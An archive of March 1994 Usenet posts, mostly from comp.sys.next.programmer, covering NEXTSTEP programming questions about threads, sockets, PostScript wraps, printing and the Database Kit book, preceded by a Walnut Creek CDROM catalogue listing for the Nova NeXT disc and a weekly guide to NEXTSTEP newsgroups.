February 1994 Target platform: NEXTSTEP 3.1 or higher for NeXT (Motorola) hardware Megabytes on disc: 604 MB Format: ISO 9660 with Rock Ridge Extensions (unix) Compression used on disc: none Editor: Eric Tremblay, eric@cdrom.com Features - The second edition of the popular Nova CDROM for NeXT hardware. - All applications are ready to run directly from the CDROM - Applications in categories such as utilities, astronomy, graphics, communication, audioapps, graphic, mail, clocks - Games/entertainment applications totalling 31.9 MB - 119 NEXTSTEP ready fonts - Fonts directory can be directly linked with hard disk to make all fonts on the CDROM available to the user without taking up any disk space. - 42 modules for the BackSpace screen saver - 22 NEXTSTEP Palettes for Interface Builder - More then 52 MB of source code - 74 sound files - Contains Pcomm, the unix shell terminal communications program compiled to run on NEXTSTEP and other terminal programs. - Each directory contains an index to make it easier for a user to locate a file. - Indexes are fully indexed in Digital Librarian (for 3.2). - Source code included with many of applications. - All applications were compiled using NEXTSTEP 3.1 or higher - All applications were compiled in NeXT (Motorola) only binaries to save disc space. - All binaries have been "stripped" to save disc space. The price is $59.95. S&H is $5 for US/Canada/Mexico, and $10 for overseas. If you live in California, please add sales tax. You can pay by cash, check, money order or Visa/MC/Dis/Amex. Walnut Creek CDROM 1547 Palos Verdes Mall, Suite 260 Walnut Creek, CA 94596 1 800 786-9907 1 510 674-0783 1 510 674-0821 FAX orders@cdrom.com The NEXTSTEP community has made what the Nova is today. The quality of the applications found on this disc is a good reflection of the talent and expertise that the NEXTSTEP community represents. Walnut Creek CDROM would like to thank the NEXTSTEP community for making the Nova a success. The disc is available for FREE to anyone whose work appears on the CDROM. Just email me your name, address, and the name of the program(s) that you wrote. Overseas addresses are ok Many of the programs on this disc are shareware, and require seperate payment to the author for continued use. This CDROM is fully guaranteed, if you are dissatisfied with this disc for any reason whatsoever, you can return it for an exchange or refund. Here is a list of other CDROM titles from Walnut Creek CDROM: CICA Microsoft Windows CD-ROM - Windows PD/shareware from ftp.cica $29 Simtel MSDOS CDROM - MSDOS Shareware/PD from Simtel internet archive $29 Hobbes OS/2 CDROM - PD/Shareware from ftp-os2.cdrom.com $29 Giga-Games CDROM - Thousands of Games for MSDOS and MS Windows $39 GIFs Galore - Thousands of GIF images $39 Aminet Amiga CDROM - shareware & PD swr collection for Amiga $29 Garbo MSDOS/MAC CDROM - shareware & PD for DOS and Mac $29 Space and Astronomy CDROM - Nasa photos, doscs $39 Project Gutenberg CDROM - Hundreds of etexts, literature, documents $39 QRZ! Ham Radio CDROM - Callsign database, shareware & PD, docs, etc. $29 Sprite CDROM - Sprite Research Operating System from UC Berkeley $29 Nova for NeXT CDROM - Software for NeXT (Motorola) Workstations $59 Nebula for NeXTSTEP (Intel) CDROM - Software for NeXTSTEP (Intel) $59 Source Code CD-ROM - Usenet source archives on CD-ROM $39 X11R5 and GNU CD-ROM - X11R5 Window System, Gnu Src, SPARC binaries $39 Ada CDROM -- Thousands of Ada documents and programs $39 Info-Mac CDROM -- 10000+ Mac programs from sumex-aim.stanford.edu $49 C User's Group Library CDROM - C source code $49 Libris Britannia - British shareware $59 Tookit for Linux CDROM - Linux Applications, Slackware distribution $39 FreeBSD Operating System CDROM - Complete 32 bit OS, X11R5, GNU $39 GEMini Atari CDROM - PD/Freeware for Atari $39 Internet Info CDROM -- All the FAQs, RFC/IEN, Networking, Security $39 Fractal Frenzy CDROM -- Thousands of high resolution fractal images $39 Linux Operating System CDROM -- Complete Linux, X11R5/Gnu, full src. $49 Toolkit for Linux CDROM -- Utilities and docs for Linux, Slackware $39 Clipart Cornicopia CDROM -- 5050 B&W clipart images, PCX/WPG $39 Tax Info '93 CDROM -- Thousands of U.S. Federal Tax forms and pubs $39 La Coleccion CDROM - Spanish PD/Freeware $39 CD-ROM Caddies $4.95 If you would like a more detailed list of other CDROM titles published by Walnut Creek CDROM, you can ftp the latest list from ftp.cdrom.com:/pub/cdrom/catalog, or send email to info@cdrom.com.
Newsgroups: comp.sys.next.programmer From: jds@aplexus.jhuapl.edu (John D Stanhope) Subject: Postscript wraps causes image jitters Message-ID: <CMo0E3.Cw5@aplcenmp.apl.jhu.edu> Keywords: postscript, NXImage Sender: usenet@aplcenmp.apl.jhu.edu Organization: Johns Hopkins U. Applied Physics Lab Date: Mon, 14 Mar 1994 17:25:14 GMT I want to create a line with an arrow at the midpoint so I snagged the following piece of postscript wraps from the Draw examples. The only problem is that using causes all my NXImage's in the view to jitter or shake as the line is being drawn out. If I remove the arrow call everything is just dandy. The PSArrow get called something like this [myView drawSelf] -> [object draw] -> [line draw] -> PSArrow() The object composites a NXImage and the line draw a line with an arrow. The line drawn by the line is just a PSmove, PSline, PSstroke, sequence. pswraps stuff defineps PSInit() /arrow { % angle x y newpath moveto dup rotate -10 4 rlineto 4 -4 rlineto -4 -4 rlineto closepath gsave 0 setlinejoin stroke grestore fill neg rotate } def endps defineps PSArrow(float x, y, angle) angle x y arrow endps Any help would be appreciated, and if you need more info to diagnose the problem please email me. -- jds ---------------------------------------------------- Otto "Apes don't read philoshpy" Wanda "Yes they do, they just don't understand it" ----------------------------------------------------
Newsgroups: comp.sys.next.programmer From: lapj_ss@troi.cc.rochester.edu (J. LaPierre) Subject: can't usleep in thread, so..? Message-ID: <1994Mar14.185625.11862@galileo.cc.rochester.edu> Keywords: usleep threads Sender: news@galileo.cc.rochester.edu Organization: University of Rochester - Rochester, New York Date: Mon, 14 Mar 94 18:56:25 GMT I need to do usleep type waits in a thread, but apparently, this is not a good idea. At the moment I'm using a hack from the example sorting app that comes with NSDeveloper. It just waits for a message on a port (not really expecting one), and does a timeout. Surely there is some better way. Anyone got one? -Jason ------ Jason LaPierre University of Rochester lapj_ss@troi.cc.rochester.edu
From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quick Guide to NEXTSTEP information on the Internet Date: 14 Mar 1994 14:22:36 -0500 Organization: Next Announcements Message-ID: <2m2dhs$9uq@digifix.digifix.com> This post is made weekly, to help 'point' users to more NEXTSTEP information Topics include: comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group) ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: eric@skatter.usask.ca Newsgroups: comp.sys.next.programmer Subject: Looking for Driver example using Mach Messages Date: 14 Mar 1994 20:04:16 GMT Organization: University of Saskatchewan Message-ID: <2m2g00$n8o@tribune.usask.ca> I'm just getting started with writing a NEXTSTEP/FIP device driver (for a GPIB interface card). I've written several UNIX device drivers over the years (starting in 1978 with a DZ-11 driver for version 6 UNIX), but I'm completely new to Mach/DriverKit. I've worked through the MIG add_server example, and I've build and installed the DriverKit example, but I can't figure out how to merge the two. Is there an example somewhere that shows how to use Mach messages to communicate with a device driver? Many thanks, -- Eric Norum eric@skatter.usask.ca Saskatchewan Accelerator Laboratory University of Saskatchewan Saskatoon, Canada. NeXTMail accepted.
Newsgroups: comp.sys.next.programmer From: gelato@netcom.com (Steve James) Subject: compositing with SOVER and printing? Message-ID: <gelatoCMorCB.Jxx@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) Date: Tue, 15 Mar 1994 03:07:22 GMT Can anyone point me at some example code/doc that explains how to deal with the problem that composite with SOVER does not come out right if NXDrawingStatus == NX_PRINTING? (I get white for the background on a LaserWriter, and black on a SPARCprinter). I could not find anything about this in Digital Librarian or NeXTAnswers. Thanks...
Newsgroups: comp.sys.next.programmer From: alex@cs.umd.edu (Alex Blakemore) Subject: Re: Book: "Database Kit Concepts" Message-ID: <CMoIpt.334@genoa.com> Sender: alex@genoa.com (Alex Blakemore) Organization: Genoa Software Systems References: <2m1mvu$dp@steffi.demon.co.uk> Date: Tue, 15 Mar 1994 00:01:05 GMT joe@retina.anatomy.upenn.edu wrote >>is this just a hard-copy of the on-line documentation, or does it >>represent new content? Robert Nicholson writes > Of course it is. /NextLibrary/Documentation/NextDev/Concepts/DatabaseKit not necessarily, the on line docs are not complete, so it could (actually should) contain new content. does anyone know the answer to Joe's question. -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Using -DINLINE_MATH on m68040 NeXT In-Reply-To: mckelvey@fafnir.com's message of Sun, 13 Mar 1994 22:03:17 GMT To: mckelvey@fafnir.com (James W. McKelvey) Message-ID: <CEDMAN.94Mar14115236@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <2llpni$k6j@hermes.unt.edu> <CMMILI.Aq0@fafnir.com> Date: Mon, 14 Mar 1994 16:52:36 GMT In article <CMMILI.Aq0@fafnir.com> mckelvey@fafnir.com (James W. McKelvey) writes: Well, in the first place, there's a reference to INLINE_MATH in ansi/m68k/math.h. If you write a simple program to call sqrt() a million times in a loop, and dump out the generated assembly code, you can see the difference: [ program ] If you then time these versions and average the results: With: about 7.6 seconds Without: about 8.0 seconds Or: about a 5% speedup. Don't turn on optimization or the compiler will optimize the loop away. That may not be the whole story. I modified your program slightly: #import "math.h" int main (void) { double x=0; long int i; for (i = 0; i < 1000000; i++) x += sqrt(i); printf("%f\n",x); return 0; } Now one can run the optimizer without losing the loop. In this case -DINLINE_MATH produces almost identical assembler code with identical results running with a time difference smaller than the granularity of the measurement. So if you are going to run the optimizer anyway, don't bother with -DINLINE_MATH. Some day it may actually produce worse code because it confuses a more sophisticated optimizer. Carl Edman
From: scott@nic.gac.edu (Scott Hess) Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin Subject: Timeouts with connect(2) on NS/FIP. Date: 14 Mar 94 17:38:13 Organization: Is a sign of weakness Distribution: world Message-ID: <SCOTT.94Mar14173813@nic.gac.edu> [This posting is a desperation move. I've really stymied -scott] For a program I've written for a client, I need to run my own TCP connection to a host. So, I pulled out some code I've used in the past, hacked it a bit to bring it more up-to-date and flexible, and used it in the program. I've been using this code for more than a year, now, under both NS2.1 and NS3.[012], all for Motorola. It's been working just fine (ok, I'll be very precise - the _socket_ code's been working fine. Other code hasn't worked so well :-). Total, the code's been in use for more than two years, with slight changes as noted above. Unfortunately, it's not been working on NS-Intel for some reason that I cannot determine. What happens is that everything works right up to where I call connect(2) to bind the successfully opened socket to an address. The connect() call hangs, and eventually exits with ETIMEDOUT. While attempting to track the problem down, I've built two mini versions of the program, one which just calls the same sequence of networking code, and another which uses the actual objects, and both connect without a problem. The next step will be to come from the other direction, starting with the actual application and paring off elements until I find one that affects things. Unfortunately, this is a very inefficient means of debugging, and so I ask ... Has anyone out there had problems with using TCP sockets in conjunction with a NeXTSTEP GUI application, and if so, do you have any ideas? Thanks, -- scott hess <scott@nic.gac.edu> <I can handle NeXTMail, but don't like it> Home: 12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Office: 101 W. Burnsville Pkwy, Suite 108F, Burnsville, MN 55337 890-1332 <I hate when something I've never heard of is called "The world famous ...">
Organization: University of Illinois at Chicago, ADN Computer Center Date: Mon, 14 Mar 1994 21:45:08 CST From: <U37865@uicvm.uic.edu> Message-ID: <94073.214508U37865@uicvm.uic.edu> Newsgroups: comp.sys.next.programmer Subject: HELP! Postscript vs. RTF Please help! I am writing this on behalf of a friend of mine, new to NeXT programming. He needs to print text to the screen, with a scroll-view. His first attempt was with Postscript. Once the text reached more than a page, the scroll redraw because _very_ slow. How is it possible to speed up the scrolling? It is totally unacceptable right now. He knows of two ways of trying to fix this. The first is by creting a cache and writing postscript to the cache. The second method is by using rich text format. Since he has never used either, which is recommended, and why? Also, are there any ftp sites where examples, etc., may be downloaded? Big thanks in advance. Please reply by direct email. Cheers, Eric J. Kristoff U37865@UICVM.CC.UIC.EDU ********************************************************************** ** ERIC J.KRISTOFF ** [D2Y(X,T)]/DX^2=[1/V^2][D2Y(X,T)/DT^2]** ** U37865@UICVM.CC.UIC.EDU ** ANY TAKERS? (D2=PARTIAL DERIVATIVE) ** **********************************************************************
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: can't usleep in thread, so..? Date: 15 Mar 1994 05:50:02 GMT Organization: San Francisco State University Message-ID: <2m3iaa$2jf@nic-nac.CSU.net> References: <1994Mar14.185625.11862@galileo.cc.rochester.edu> In article <1994Mar14.185625.11862@galileo.cc.rochester.edu> lapj_ss@troi.cc.rochester.edu (J. LaPierre) writes: > Surely there is some better way. Don't be so sure. -=EPS=-
From: garth@cs.swarthmore.edu (Garth Snyder) Newsgroups: comp.sys.next.programmer Subject: Re: can't usleep in thread, so..? Date: 15 Mar 1994 06:58:18 GMT Organization: Swarthmore College, Swarthmore, PA, USA Message-ID: <2m3maa$fvh@larch.cc.swarthmore.edu> References: <1994Mar14.185625.11862@galileo.cc.rochester.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Keywords: usleep threads lapj_ss@troi.cc.rochester.edu (J. LaPierre) writes: > I need to do usleep type waits in a thread... Surely there is some > better way [than waiting on a port]. Anyone got one? Yes; use select(). It's the same idea as msg_receive(), but you don't need to allocate a port or make any other system calls. For example: struct timeval tv; tv.tv_sec = 1; tv.tv_usec = 0; select(0, NULL, NULL, NULL, &tv); There are various ways to make the notation less clumsy. Garth
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Filesystems Date: 15 Mar 1994 05:54:23 GMT Organization: San Francisco State University Distribution: usa Message-ID: <2m3iif$adc@nic-nac.CSU.net> References: <CMonK0.Mn2@metronet.com> In article <CMonK0.Mn2@metronet.com> slfields@metronet.com (Scott Fields) writes: >Anyone know where to get the information for making your own filesystems? From NeXT under a nondisclosure agreement. -=EPS=-
Newsgroups: comp.sys.next.programmer From: slfields@metronet.com (Scott Fields) Subject: Filesystems Organization: Texas Metronet, Internet for the Individual 214-705-2917 (info) Date: Tue, 15 Mar 1994 01:45:36 GMT Message-ID: <CMonK0.Mn2@metronet.com> Distribution: usa I have been looking around for the documentation for how to make a loadable filesystem for the /usr/filesystems entry. To no avail, I have found nothing. Anyone know where to get the information for making your own filesystems? Mainly, what are the required entrypoints in your code for the kernel server to load your code in? Thanks.
Newsgroups: comp.sys.next.programmer From: bruce@TotSysSoft.com (Bruce Gingery) Subject: Re: tagged cells (was Re: tags of NXBrowserCells) Message-ID: <1994Mar15.112609.3108@ToTSySSoft.com> Sender: news@ToTSySSoft.com Organization: Total System Software References: <2lpq6s$pn7@gpo.gb.swissbank.com> Date: Tue, 15 Mar 1994 11:26:09 GMT In article <2lpq6s$pn7@gpo.gb.swissbank.com> griffid@gb.swissbank.com (Dave Griffiths) writes: -> In article <2lp47d$rn5@nic-nac.CSU.net> eps@futon.SFSU.EDU (Eric P. Scott) -> writes: -> |> In article <1994Mar10.145154.28164@il.us.swissbank.com> -> |> chris@its.com (Chris Cuilla) writes: -> |> >Does anyone have an idea about why NeXT decided NOT to implement: -> |> > -> |> > - setTag: (int) theTag; -> |> > - (int) tag; -> |> > -> |> >in the Cell class? TaggedCell : Cell : Object << Undocumented >> { int tag; } - drawInside:(const NXRect *)cellFrame inView: controlView; - hilight:(const NXRect *) InView: controlView lit:(BOOL)flag; - init; - initTextCell:(const char *)aString; - (BOOL)isOpaque; - setTag:(int)aTag; - (int)tag; IMPLEMENTED in libNeXT_s
Newsgroups: comp.sys.next.programmer From: brandner@dia.informatik.uni-stuttgart.de (Mirko Brandner) Subject: Help for palettes Message-ID: <CMpM0p.4r2@news.informatik.uni-stuttgart.de> Originator: brandner@dia Sender: news@informatik.uni-stuttgart.de Organization: Informatik, Uni Stuttgart, W.Germany Date: Tue, 15 Mar 1994 14:10:00 GMT
Newsgroups: comp.sys.next.programmer From: lloyd@world.std.com (Christopher Lloyd) Subject: Re: can't usleep in thread, so..? Message-ID: <CMpoFA.Ev@world.std.com> Keywords: usleep threads Organization: The World Public Access UNIX, Brookline, MA References: <1994Mar14.185625.11862@galileo.cc.rochester.edu> <2m3maa$fvh@larch.cc.swarthmore.edu> Date: Tue, 15 Mar 1994 15:01:56 GMT The obscure, but dandy; thread_switch() -- :: Christopher Lloyd :: Yrrid, Inc. :: lloyd@yrrid.com lloyd@world.std.com :: :: If I had known it was harmless, I would have killed it myself ::
Newsgroups: comp.sys.next.programmer From: leif@pattern.rmnug.org (Leif Smith) Subject: Re: Book: "Database Kit Concepts" Message-ID: <1994Mar14.200545.1048@nugget.rmNUG.ORG> Sender: leif@nugget.rmNUG.ORG Organization: Rocky Mountain NeXT Users' Group References: <2m1inm$nr1@netnews.upenn.edu> Date: Mon, 14 Mar 1994 20:05:45 GMT In article <2m1inm$nr1@netnews.upenn.edu> me@vigor.anatomy.upenn.edu (Joe Panico) writes: > In article <1994Mar14.064943.2092@nugget.rmNUG.ORG> leif@pattern.rmnug.org > (Leif Smith) writes: > > "NEXTSTEP Database Kit Concepts," from Addison-Wesley, ISBN > > 0-201-40741-8, part of the NEXTSTEP Developer's Library. > > is this just a hard-copy of the on-line documentation, or does it > represent new content? > > Joe Panico > joe@retina.anatomy.upenn.edu Looking at: /NeXTLibrary/Documentation/NeXtDev/GeneralRef/DatabaseKit the content of the book is completely different. If you have been programming successfully with DBKit for some time you will probably see this book as fairly basic. But if you are not sure what is going on, this book will be very helpful. It's like the never published "Concepts" documentation found on-line and on NS distributions. When I finally discovered it I wondered how anyone could understand NS without it. -- Leif Smith, Denver leif@pattern.rmnug.org 303-778-0880 -- Leif Smith, Denver leif@pattern.rmnug.org
Newsgroups: comp.sys.next.programmer From: leif@pattern.rmnug.org (Leif Smith) Subject: Re: Book: "Database Kit Concepts" Message-ID: <1994Mar14.201553.1155@nugget.rmNUG.ORG> Sender: leif@nugget.rmNUG.ORG Organization: Rocky Mountain NeXT Users' Group References: <2m1mvu$dp@steffi.demon.co.uk> Date: Mon, 14 Mar 1994 20:15:53 GMT In article <2m1mvu$dp@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: > joe@retina.anatomy.upenn.edu wrote in comp.sys.next.programmer > >In article <1994Mar14.064943.2092@nugget.rmNUG.ORG> leif@pattern.rmnug.org > >(Leif Smith) writes: > >> "NEXTSTEP Database Kit Concepts," from Addison-Wesley, ISBN > >> 0-201-40741-8, part of the NEXTSTEP Developer's Library. > >> > >> Found at a Denver bookstore. Came as a surprise. Now I wonder if > >> there is a book on the Indexing Kit out there somewhere. > > >is this just a hard-copy of the on-line documentation, or does it > >represent new content? > > > > Of course it is. /NextLibrary/Documentation/NextDev/Concepts/DatabaseKit > -- Forgot to say I'm running 3.0. No .../Concepts/DatabaseKit on my disk. Must be on 3.0+ leif@pattern.rmnug.org -- Leif Smith, Denver leif@pattern.rmnug.org
Newsgroups: comp.sys.next.programmer From: leif@pattern.rmnug.org (Leif Smith) Subject: Re: Book: "Database Kit Concepts" Message-ID: <1994Mar15.053704.1627@nugget.rmNUG.ORG> Sender: leif@nugget.rmNUG.ORG Organization: Rocky Mountain NeXT Users' Group References: <CMoIpt.334@genoa.com> Date: Tue, 15 Mar 1994 05:37:04 GMT In article <CMoIpt.334@genoa.com> alex@cs.umd.edu (Alex Blakemore) writes: > joe@retina.anatomy.upenn.edu wrote > >>is this just a hard-copy of the on-line documentation, or does it > >>represent new content? > > Robert Nicholson writes > > Of course it is. /NextLibrary/Documentation/NextDev/Concepts/DatabaseKit > > > not necessarily, the on line docs are not complete, so it > could (actually should) contain new content. > does anyone know the answer to Joe's question. > -- > Alex Blakemore > alex@cs.umd.edu NeXT mail accepted "Database Kit Concepts," Addison-Wesley, 1993, ISBN 0-201-40741-8 Chapter Titles: 1. Overview 2. Entity-Relationship Modeling 3. Database Models 4. Creating a Database Project 5. Database Kit Classes and Protocols 6. Model Emulation 7. Connecting to the Server 8. Data Storage, Retrieval, and Manipulation 9. Advanced Record List Techniques 10. Fetching and Saving Data A. Adaptor Default Parameters -- Leif Smith, Denver leif@pattern.rmnug.org
From: kelly@shogun.nersc.gov Newsgroups: comp.sys.next.programmer Subject: Remote NeXTMail Viewing Date: 15 Mar 1994 17:20:42 GMT Organization: National Energy Research Supercomputer Center Distribution: usa Message-ID: <2m4qpa$eej@cronkite.nersc.gov> I have a request from one of my managers to be able to read his mail from home. However, he would like to use the NeXT Mail.app to do so. We have some X-terminals that also do display postscript, and I know the OpenSesame.app allows one to run an application remotely while displaying on your local screen. Does it sound doable to run the Mail.app on a machine at work and have it display on some non-NEXTSTEP terminal at home? If so, how do I do this? -- Bruce Kelly L-561, P O Box 5509, Livermore, CA, 94551 kelly@nersc.gov National Energy Research Supercomputer Center 510-423-0640 Lawrence Livermore National Laboratory Fax: 510-422-0435 University of California
From: silver@metonymy.ots.utexas.edu (silver Harloe) Newsgroups: comp.sys.next.programmer Subject: next developer software... Date: 15 Mar 1994 18:14:02 GMT Organization: The University of Texas at Austin, Austin, Texas Distribution: world Message-ID: <2m4tta$gkp@geraldo.cc.utexas.edu> I have a NeXT here, running Mach 3.0, but it was purchased as part of a big group of NeXTs and UT only got the one optical drive, which is on someone else's desk in a different department, so I don't have any of the development software (i.e. the include libraries and whatnot for writing your own NeXTapps)... where can I get it? can someone make it available for me to ftp? what? --silver-- silver@metonymy.ots.utexas.edu
Newsgroups: comp.sys.next.programmer From: uunet!lkba!lkb (Larry Blische) Subject: Re: Book: "Database Kit Concepts" Message-ID: <1994Mar15.135922.1652@lkba.uucp> Sender: lkb@lkba.uucp (Larry Blische) Organization: LKB Associates, Inc. References: <CMoIpt.334@genoa.com> Date: Tue, 15 Mar 1994 13:59:22 GMT In article <CMoIpt.334@genoa.com> alex@cs.umd.edu (Alex Blakemore) writes: > joe@retina.anatomy.upenn.edu wrote > >>is this just a hard-copy of the on-line documentation, or does it > >>represent new content? > > Robert Nicholson writes > > Of course it is. /NextLibrary/Documentation/NextDev/Concepts/DatabaseKit > > > not necessarily, the on line docs are not complete, so it > could (actually should) contain new content. > does anyone know the answer to Joe's question. > -- > Alex Blakemore > alex@cs.umd.edu NeXT mail accepted The book is missing the on-line Chapter 11 but has a Glossary and an Appendix on "Adaptor Default Parameters" for Oracle and Sybase. The on-line doc has different drawings, same content but they look nicer. It was evident with my quick scan that some of the words have changed. If I had to guess I'd say that the on-line version was newer and the book just took a long time to produce. --- Larry Blische lkba!lkb@uunet.UU.NET LKB Associates, Inc. NeXTmail Welcome! 3118 Dunglow Road 410 285 2262 Dundalk, Maryland 21222-5304 USA
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: can't usleep in thread, so..? In-Reply-To: garth@cs.swarthmore.edu's message of 15 Mar 1994 06:58:18 GMT To: garth@cs.swarthmore.edu (Garth Snyder) Message-ID: <CEDMAN.94Mar15081207@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1994Mar14.185625.11862@galileo.cc.rochester.edu> <2m3maa$fvh@larch.cc.swarthmore.edu> Date: Tue, 15 Mar 1994 13:12:05 GMT In article <2m3maa$fvh@larch.cc.swarthmore.edu> garth@cs.swarthmore.edu (Garth Snyder) writes: lapj_ss@troi.cc.rochester.edu (J. LaPierre) writes: > I need to do usleep type waits in a thread... Surely there is some > better way [than waiting on a port]. Anyone got one? Yes; use select(). It's the same idea as msg_receive(), but you don't need to allocate a port or make any other system calls. For example: struct timeval tv; tv.tv_sec = 1; tv.tv_usec = 0; select(0, NULL, NULL, NULL, &tv); There are various ways to make the notation less clumsy. Is select(2) guaranteed to work properly in a multi-threaded environment ? I've had some bad experiences in this regard, so I rather doubt it. If you are using multiple-threads don't trust anything but Mach messaging. Carl Edman
